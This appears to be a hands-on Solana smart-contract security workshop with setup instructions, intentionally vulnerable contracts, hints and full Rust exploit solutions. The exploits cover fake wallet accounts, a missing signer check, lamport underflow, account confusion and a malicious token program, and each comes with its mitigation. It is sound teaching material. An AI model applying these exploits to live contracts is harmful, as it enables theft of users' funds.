Introduction
Welcome to the Solana Security Workshop! Here, we look at Solana smart contracts from an attacker's perspective. By learning how to find and exploit different types of issues, you'll be able to write more secure contracts as you'll know what to watch out for.
In the first part of the course, we introduce general concepts relevant to the security of Solana contracts and explore one vulnerability in detail. Next, we've prepared several vulnerable smart contracts as challenges. Each of these illustrates a different Solana smart contract bug. You're encouraged to work on exploiting these on your own. If you get stuck, just reach out, are happy to help.
Much of the code you see during this workshop is intentionally vulnerable. Even if the bugs are fixed, the code does not follow good design guidelines. Please do all of us a favor and not use it outside of security demonstrations.
Requirements
To follow along with this course, you need to be familiar with writing solana contracts and the Rust programming language.
You also need an environment where you can compile the example contracts and run the attacks. We have prepared prebuilt environments if you need them, for details, please refer to Setup.
Who We Are
We started as a group of independent researchers, who love digging into complex concepts and projects. At the end of 2020, we have been introduced into the Solana ecosystem by looking at Solana-core code, in which we have found a number of vulnerabilities. We have since founded the security-research firm Neodyme, which has been helping the Solana Foundation with peer-reviews of smart contracts.
As such, we have found lots of interesting and critical bugs in smart contracts. To help make the ecosystem a more secure place, we want to share some insights in this workshop. We hope you enjoy breaking our prepared contracts as much as we do.
Workshop
To make this workshop hands-on, you will find bugs and develop exploits for them yourself.
We have prepared a few vulnerable Solana contracts. As this workshop was intended for only 3h, we have simplified bugs we have found in the wild a lot. This allows you to focus on finding and exploiting bugs over reverse-engineering functionality.
In the same vein, we have opted not to use the Anchor framework in our contracts, even though it usually leads to more secure contracts. This is simply to save the extra time you'd need to learn anchor if you are not familiar yet. The security fundamentals you learn here will apply just as well in anchor, they'll be just a bit easier to implement cleanly there.
In anchor, lots of checks are hidden away, and we often have to go diggin in anchor source to understand what exactly is being checked and what can be controlled. (have not found a bug inside anchor itself though... yet)
Each task can be solved without looking at the description here. But we have prepared some hints to help you.
Setup
To be able to write exploits, you need an appropriate development-environment. If you have developed Solana contracts on your device before, feel free to just use your existing setup.
Depending on how comfortable you are with your current environment, there are three options:
- Fully provided development: You pull and start a docker container we provide. In there, you find a VS-Code instance, which you can access via the browser. This is the easiest to get going with, but some keybinds might differ from what you are used to.
- Fully local development: You checkout out a git-repo and go from there. Recommended for experienced devs, more difficult to setup.
- Mixed development: Still get the benefits of a local VS-Code (your settings, all shortcuts), without having to install all dependencies. Also requires some local setup.
Should you have one of the new M1 Macs, this is a bit unfortunate as Solana's rBPF-JIT is not supported there, and we currently have no way of disabling it in our setup.
Easy Option: Full Setup
We have provided a full docker image with all you need.
- Install docker
docker run --name breakpoint-workshop -p 2222:22 -p 8080:80 -e PASSWORD="password" neodymelabs/breakpoint-workshop:latest-code-prebuilt
The container runs a headless instance of VS-Code, setup with rust-analyzer. To access it, go to http://127.0.0.1:8080
and enter your password (password
).
The workshop files are located at /work
and the most basic tools are installed. As this container is Debian based you can install additional tools using apt
.
If you are using Chrome, the usual VS-Code shortcuts will work. Firefox is a bit more restrictive, and you might have to use the menu instead of some shortcuts.
To get a terminal on the server, you can either use ssh, or simply use VS-Code's build-in terminal (Open with either Ctrl+Shift+`
, or Menu->View->Terminal
). The workspace is located at /work
.
To ssh use this command ssh user@127.0.0.1 -p 2222
and type in the password as before.
Go-to-definition can be done with Ctrl+Left Mouse Button
, going back with Ctrl+Alt+Minus
Flexible Option: Local Setup
For the local setup, you need to fetch our prepared contracts and exploit-harnesses on Github. In addition, you need an up-to-date version of Rust. Should you wish to render these docs locally, you can do so with mdbook:
cargo install mdbook
mdbook serve
If you encounter the error
error: failed to download `solana-frozen-abi v1.8.2`
or
thread 'main' panicked at 'called `Result::unwrap()` on an `Err` value: Os { code: 2, kind: NotFound, message: "No such file or directory" }', /home/user/.cargo/registry/src/github.com-1ecc6299db9ec823/poc-framework-0.1.2/src/lib.rs:522:81
then the contract failed to build. This is likely caused by a too old Rust or Solana toolchain. Ensure you have the latest versions by running:
rustup default stable
rustup update
solana-install init 1.7.17
Third Option: Combined Setup
It is possible to use the container with VS-Code via the Remote Development extension. Unfortunately, this extension is only available for the original Microsoft binary builds, and not open-source builds of VSCode.
- Install docker
docker run --name breakpoint-workshop -p 2222:22 -p 8080:80 -e PASSWORD="password" neodymelabs/breakpoint-workshop:latest-code-prebuilt
- Open VS-Code
- Install the Remote Development extension (
Remote - SSH
), if not installed already - Press
Ctrl+Shift+P
to open the command palette - Enter
Remote-SSH: Connect to Host...
- Enter the user and address of your assigned instance, e.g.
user@127.0.0.1:2222
- Enter your password when prompted
- Open a terminal (on the remote)
- Terminate the connection and reconnect via VSCode
- Click
Open Folder
and open the workspace at/work
- The workspace will open. You operate on the same files as you would via the fully-remote setup
- Install the rust-analyzer extension on the remote
Compiling the contracts and running the exploits
We provide five contracts and five exploit harnesses, all in the same cargo workspace. As they all use the same dependencies, we can save disk space and compile time that way.
Each contract is in its own crate (level0 - level4
). For the exploits, we have pre-setup harnesses using our PoC-framework contained in the pocs
folder, though more on that later.
To make compiling and running the exploits painless, especially on the remote instances, we have provided pre-configured build targets in VS-Code. To compile and run an exploit, you can press Ctrl+Shift+B
and then select the exploit you are working on.
In the VS-Code based workflow, all contracts are rebuilt automatically whenever you run an exploit. You can also trigger this rebuilding manually by selecting the build contracts
option in VS-Code's build menu.
If you don't want to use this workflow, you have to rebuild the contracts yourself whenever you change something (for example, introducing logging).
Compiling and running the old-fashioned way via terminal is possible as well. Each exploit complies to its own binary, which you can select via the --bin
argument for cargo:
# compile all contracts
cargo build-bpf --workspace
# run level3 exploit
RUST_BACKTRACE=1 cargo run --bin level3
PoC Framework
The so called poc-framework
is a tool we developed to help us quickly testing bugs in smart-contracts.
Especially for more complicated bugs, it is often easier to verify an idea practically rather than statically by just reading code.
This is usually a multistep process. First, you obviously do not want to test on the live Solana chain. That means you have to replicate the setup locally somehow. If you have ever tried to write integration tests for smart contracts before, you know that it is a bit tedious to get the correct setup.
Normally, smart contracts work the following way: you have a Rust cli or some web3js that generates instructions and sends them via RPC to a validator. On the validator, the contract is already initialized, and your instructions can be executed by the network, returning you the result.
For testing, it is often times not necessary to have a full network. Just the solana smart contract runtime is enough to see most behaviour.
This is where the poc-framework
comes in. It is a collection of helper methods to interact with the core solana code in a way that is similar to what would happen when a contract is used on the normal network.
An exploit utilizing the framework consists of three parts: setup code (marked with the comment: "SETUP CODE BELOW"), the actual exploit (the fn hack()
function you will write) and a check if the exploit succeeded (the fn verify()
function). We have already provided the first and the last one in the poc files for you, just the exploit is missing.
To see how the Framework can help you, its best to check out the functions provided by the Environment
: poc_framework::Environment docs.
Exploit outline
The hacker is given 1 sol for paying fees on transactions. The goal is to give the hacker more money than they started with. It is not necessarily possible to steal all the money.
The verify
function will check this for you automatically, so you will know when you have succeeded.
This is the presentation we held at Breakpoint 2021. We explained the basics of level 0 and how to exploit it. You can watch the presentation on YouTube and follow along in the presentation.
Solution
#![allow(unused)] fn main() { use borsh::BorshSerialize; use level0::{Wallet, WalletInstruction}; use solana_program::instruction::{AccountMeta, Instruction}; fn hack(env: &mut LocalEnvironment, challenge: &Challenge) { // Figure out how much we want to steal let amount = env.get_account(challenge.vault_address).unwrap().lamports; println!("Trying to steal {} lamports", amount.green()); // Create a fake Wallet pointing to the real vault let hack_wallet = Wallet { authority: challenge.hacker.pubkey(), vault: challenge.vault_address, }; let fake_wallet = keypair(123); let mut hack_wallet_data: Vec<u8> = vec![]; hack_wallet.serialize(&mut hack_wallet_data).unwrap(); env.create_account_with_data(&fake_wallet, hack_wallet_data); env.execute_as_transaction( &[Instruction { program_id: challenge.wallet_program, accounts: vec![ AccountMeta::new(fake_wallet.pubkey(), false), AccountMeta::new(challenge.vault_address, false), AccountMeta::new(challenge.hacker.pubkey(), true), AccountMeta::new(challenge.hacker.pubkey(), false), AccountMeta::new_readonly(system_program::id(), false), ], data: WalletInstruction::Withdraw { amount }.try_to_vec().unwrap(), }], &[&challenge.hacker], ) .print(); } }
Mitigation
By adding a check in the withdraw
function, to check if the program itself is the owner of the wallet_info
this vulnerability can be prevented:
#![allow(unused)] fn main() { assert_eq!(wallet_info.owner, _program_id); }
Level 1 - Personal Vault
Let's get ready to write your first own exploit. We've simplified the contract used in Level 0 a bit - there's no shared vault anymore, the contract only manages personal vaults. The functionality is still the same: after initializing your account, you can deposit and withdraw SOL from this account.
Each personal wallet account has an authority. This authority is stored in the account data struct:
#![allow(unused)] fn main() { pub struct Wallet { pub authority: Pubkey } }
Only the authority should be able to withdraw funds from a wallet. Can you break this?
Hint 1
Look closely at the withdraw
function.
Hint 2
How is the authority’s identity checked?
Bug
The withdraw
function does not check that the authority
has signed. Now, can you exploit this?
Solution - Missing Signer Check
The vulnerability in this contract is a missing signer check in the withdraw function:
The wallet authority does not have to sign the execution of the instruction. This has the effect, that everybody can pretend to be the authority.
#![allow(unused)] fn main() { use borsh::BorshSerialize; use level1::WalletInstruction; use solana_program::instruction::{AccountMeta, Instruction}; fn hack(env: &mut LocalEnvironment, challenge: &Challenge) { let tx = env.execute_as_transaction( // we construct the instruction manually here // because the level1::withdraw function sets the is_signer flag on the authority // but we don't want to sign &[Instruction { program_id: challenge.wallet_program, accounts: vec![ AccountMeta::new(challenge.wallet_address, false), AccountMeta::new(challenge.wallet_authority, false), AccountMeta::new(challenge.hacker.pubkey(), true), AccountMeta::new_readonly(system_program::id(), false), ], data: WalletInstruction::Withdraw { amount: sol_to_lamports(1.0) }.try_to_vec().unwrap(), }], &[&challenge.hacker], ); tx.print_named("haxx"); } }
Mitigation
By adding a check in the withdraw
function, to check if the wallet_info
is signed this vulnerability can be prevented:
#![allow(unused)] fn main() { assert!(authority_info.is_signer); }
Level 2 - Secure Personal Vault
Now that this missing signer check is fixed, the contract looks really secure... but I wonder, if you can still break it?
Hint 1
Huge numbers make huge problems.
Hint 2
How could you turn the source into the destination?
Bug
The bug is in the withdraw
function:
**wallet_info.lamports.borrow_mut() -= amount;
**destination_info.lamports.borrow_mut() += amount;
can overflow/underflow for large amount
Solution - Overflow/Underflow
The vulnerability in this contract is an overflow/underflow in the deposit function:
**wallet_info.lamports.borrow_mut() -= amount;
**destination_info.lamports.borrow_mut() += amount;
Remember that lamports are fractions of SOL. For a large amount
the u64
lamports overflow/underflow. If an attacker sets wallet_info
to the hacker's wallet and destination_info
to the rich-boi-wallet, they can underflow the wallet_info
and therefore increase his lamports. Alternatively, they can overflow the destination_info
and therefore decrease the destination lamports.
See here.
There is one more trick to it, as there is a rent check:
let min_balance = rent.minimum_balance(WALLET_LEN as usize);
if min_balance + amount > **wallet_info.lamports.borrow_mut() {
return Err(ProgramError::InsufficientFunds);
}
But this only limits the maximum amount stolen per iteration to min_balance lamports.
Here is the example exploit code that Thomas, one of our colleagues, wrote:
#![allow(unused)] fn main() { use borsh::BorshSerialize; use level2::{WalletInstruction, get_wallet_address}; use solana_program::instruction::{AccountMeta, Instruction}; use solana_program::rent::Rent; use solana_program::sysvar; fn hack(env: &mut LocalEnvironment, challenge: &Challenge) { // create hackers wallet assert_tx_success(env.execute_as_transaction( &[level2::initialize( challenge.wallet_program, challenge.hacker.pubkey(), )], &[&challenge.hacker], )); let hacker_wallet = get_wallet_address(challenge.hacker.pubkey(), challenge.wallet_program); let to_transfer = Rent::default().minimum_balance(8); println!("To transfer: {}", to_transfer); //let to_transfer = 1_000_000u64; let overflow = (-(to_transfer as i64)) as u64; let iters = 10; for i in 0..iters { let tx = env.execute_as_transaction( &[Instruction { program_id: challenge.wallet_program, accounts: vec![ AccountMeta::new(hacker_wallet, false), // source wallet AccountMeta::new(challenge.hacker.pubkey(), true), // owner AccountMeta::new(challenge.wallet_address, false), // target wallet AccountMeta::new_readonly(sysvar::rent::id(), false), // rent ], data: WalletInstruction::Withdraw { amount: overflow+i }.try_to_vec().unwrap(), }], &[&challenge.hacker], ); tx.print_named(&format!("haxx {}", i)); } let tx = env.execute_as_transaction( &[Instruction { program_id: challenge.wallet_program, accounts: vec![ AccountMeta::new(hacker_wallet, false), // source wallet AccountMeta::new(challenge.hacker.pubkey(), true), // owner AccountMeta::new(challenge.hacker.pubkey(), false), // target wallet AccountMeta::new_readonly(sysvar::rent::id(), false), // rent ], data: WalletInstruction::Withdraw { amount: to_transfer*iters-1000 }.try_to_vec().unwrap(), }], &[&challenge.hacker], ); tx.print_named("hacker withdraw"); } }
Mitigation
By replacing the math with checked math in the withdraw
function, this vulnerability can be prevented:
#![allow(unused)] fn main() { { let mut wallet_info_lapmorts = wallet_info.lamports.borrow_mut(); **wallet_info_lapmorts = (**wallet_info_lapmorts).checked_sub(amount).unwrap(); } { let mut destination_info_lapmorts = destination_info.lamports.borrow_mut(); **destination_info_lapmorts = (**destination_info_lapmorts).checked_add(amount).unwrap(); } }
Level 3 - Tip Pool
Usage
Ever needed an easy and secure way to tip people? This contract will solve all your donation problems: The operator creates a vault. Then everyone who wants can create a pool for their personal donation account – to receive tips. For tax-reasons all funds are stored centrally, you can just withdraw the desired amount whenever you need them, and pay taxes at that point.
Example Flow
- Initialize the contract
- Create a pool
- Tip to the pool
- Withdraw from the pool
Hint 1
How do Program-Derived-Addresses (PDAs) work? How is the u8
bump-seed related to this?
Hint 2
The checks in this contract are quite strict, would be a shame if you could mix up vaults and pools.
Bug
The Vault
struct can be deserialized into a TipPool
struct and only the owner of the accounts gets checked in the withdraw
function.
How can you exploit this?
Solution - Account Confusion
The vulnerability in this contract is called account confusion. Outside of solana smart contracts this type of vulnerability is called type confusion. It happens whenever data is misinterpreted. Programs often have to rely on a certain data structure, and it sometimes doesn’t verify the type of object it receives. Instead, it uses it blindly without type-checking. Users also often can not control the data directly for a certain type, but for another one they can. A type confusion bug can mean that a program expects that the data cannot be user controlled, but it fails to check the type, therefore a malicious attacker trick the program to use the controlled data instead. For example, in this instance an attacker can initialize a second vault and use the withdraw instruction with the vault account as a pool account.
In this case, we confuse a TipPool
with a Vault
. The fields will overlap nicely resulting in e.g. the TipPool.value
overlapping with the Vault.fee
.
#![allow(unused)] fn main() { pub struct TipPool { pub withdraw_authority: Pubkey, // at the same position as Vault::creator pub value: u64, // at the same position as Vault::fee pub vault: Pubkey, // at the same position as Vault::fee_recipient } pub struct Vault { pub creator: Pubkey, pub fee: f64, pub fee_recipient: Pubkey, pub seed: u8, } }
Another thing that may be tricky to wrap your head around is that the program can be initialized twice, PDAs can be derived by a different seed result in different addresses, while in this case this is totally intended, there can be some cases, where not knowing this can lead to serious vulnerabilities.
Here is the example exploit code that Felipe, one of our colleagues, wrote:
#![allow(unused)] fn main() { fn hack(env: &mut LocalEnvironment, challenge: &Challenge) { let seed: u8 = 1; let hacker_vault_address = Pubkey::create_program_address(&[&[seed]], &challenge.tip_program).unwrap(); env.execute_as_transaction( &[level3::initialize( challenge.tip_program, hacker_vault_address, // new vault's address challenge.hacker.pubkey(), // initializer_address. Aliases with TipPool::withdraw_authority seed, // seed != original seed, so we can create an account 2.0, // some fee. Aliases with TipPool::amount (note u64 != f64. Any value >1.0 is a huge u64) challenge.vault_address, // fee_recipient. Aliases with TipPool::vault )], &[&challenge.hacker], ) .print(); let amount = env.get_account(challenge.vault_address).unwrap().lamports; env.execute_as_transaction( &[level3::withdraw( challenge.tip_program, challenge.vault_address, hacker_vault_address, challenge.hacker.pubkey(), amount, )], &[&challenge.hacker], ) .print(); } }
Mitigation
By adding a type attribute to all accounts, this vulnerability can be prevented (details here).
Level 4
All the personal vaults we've seen so far only can only store SOL. Level 4 now implements a vault for arbitrary SPL tokens, the standard token implementation on Solana.
For each user, the contract manages an SPL token account, to which deposits can be made. The account is derived from the user's address, and only this user should be able to withdraw the tokens again.
Can you spot the bug, and steal the tokens from the wallet?
Note: this bug is a bit sneaky, so don't feel bad if you don't spot it right away!
Hint 1
Take a look at Cargo.toml
. We had to use spl-token version 3.1.0, since the bug is not exploitable with spl-token version 3.1.1 and above.
It might be wise to take a look at the changes between those two versions.
Sub-hint: How to diff these versions?
Unfortunately, SPL-token is inside a monorepo. This makes diffing via GitHub's web-ui nearly impossible. You can, however, look at all recent commits to the SPL-token program by opening the folder and clicking History.To diff every file in SPL-Token via the CLI, you could clone the solana-program-library repo, and then run git diff token-v3.1.0 token-v3.1.1 -- token/program/src
.
Hint 2
You need to write your own contract to exploit this bug. We've already prepared a skeleton for you at the path level4-poc-contract
.
Hint 3
Cross-program invocations are complex, what things can you control?
Bug
The program allows you to control which program is invoked during withdraw. Can you exploit this?
Solution - Arbitrary Signed Program Invocation
#![allow(unused)] fn main() { use solana_program::instruction::{AccountMeta, Instruction}; use borsh::BorshSerialize; fn hack(env: &mut LocalEnvironment, challenge: &Challenge) { assert_tx_success(env.execute_as_transaction( &[level4::initialize( challenge.wallet_program, challenge.hacker.pubkey(), challenge.mint, )], &[&challenge.hacker], )); let hacker_wallet_address = level4::get_wallet_address( &challenge.hacker.pubkey(), &challenge.wallet_program, ) .0; let authority_address = level4::get_authority(&challenge.wallet_program).0; let fake_token_program = env.deploy_program("target/deploy/level4_poc_contract.so"); env.execute_as_transaction( &[Instruction { program_id: challenge.wallet_program, accounts: vec![ AccountMeta::new(hacker_wallet_address, false), // usually: wallet_address AccountMeta::new_readonly(authority_address, false), // usually: authority_address AccountMeta::new_readonly(challenge.hacker.pubkey(), true), // usually: owner_address AccountMeta::new(challenge.wallet_address, false), // usually: destination AccountMeta::new_readonly(spl_token::ID, false), // usually: expected mint AccountMeta::new_readonly(fake_token_program, false), // usually: spl_token program address ], data: level4::WalletInstruction::Withdraw { amount: 1337 } .try_to_vec() .unwrap(), }], &[&challenge.hacker], ) .print_named("hax"); } }
Extra Helper Contract
#![allow(unused)] fn main() { use solana_program::{ account_info::AccountInfo, entrypoint, entrypoint::ProgramResult, program::invoke, pubkey::Pubkey, }; entrypoint!(process_instruction); pub fn process_instruction( _program_id: &Pubkey, accounts: &[AccountInfo], instruction_data: &[u8], ) -> ProgramResult { match spl_token::instruction::TokenInstruction::unpack(instruction_data).unwrap() { spl_token::instruction::TokenInstruction::TransferChecked { amount, .. } => { let source = &accounts[0]; let mint = &accounts[1]; let destination = &accounts[2]; let authority = &accounts[3]; invoke( &spl_token::instruction::transfer( mint.key, destination.key, source.key, authority.key, &[], amount, ) .unwrap(), &[ source.clone(), mint.clone(), destination.clone(), authority.clone(), ], ) } _ => { panic!("wrong ix") } } } }
Resources
Collection of helpful links: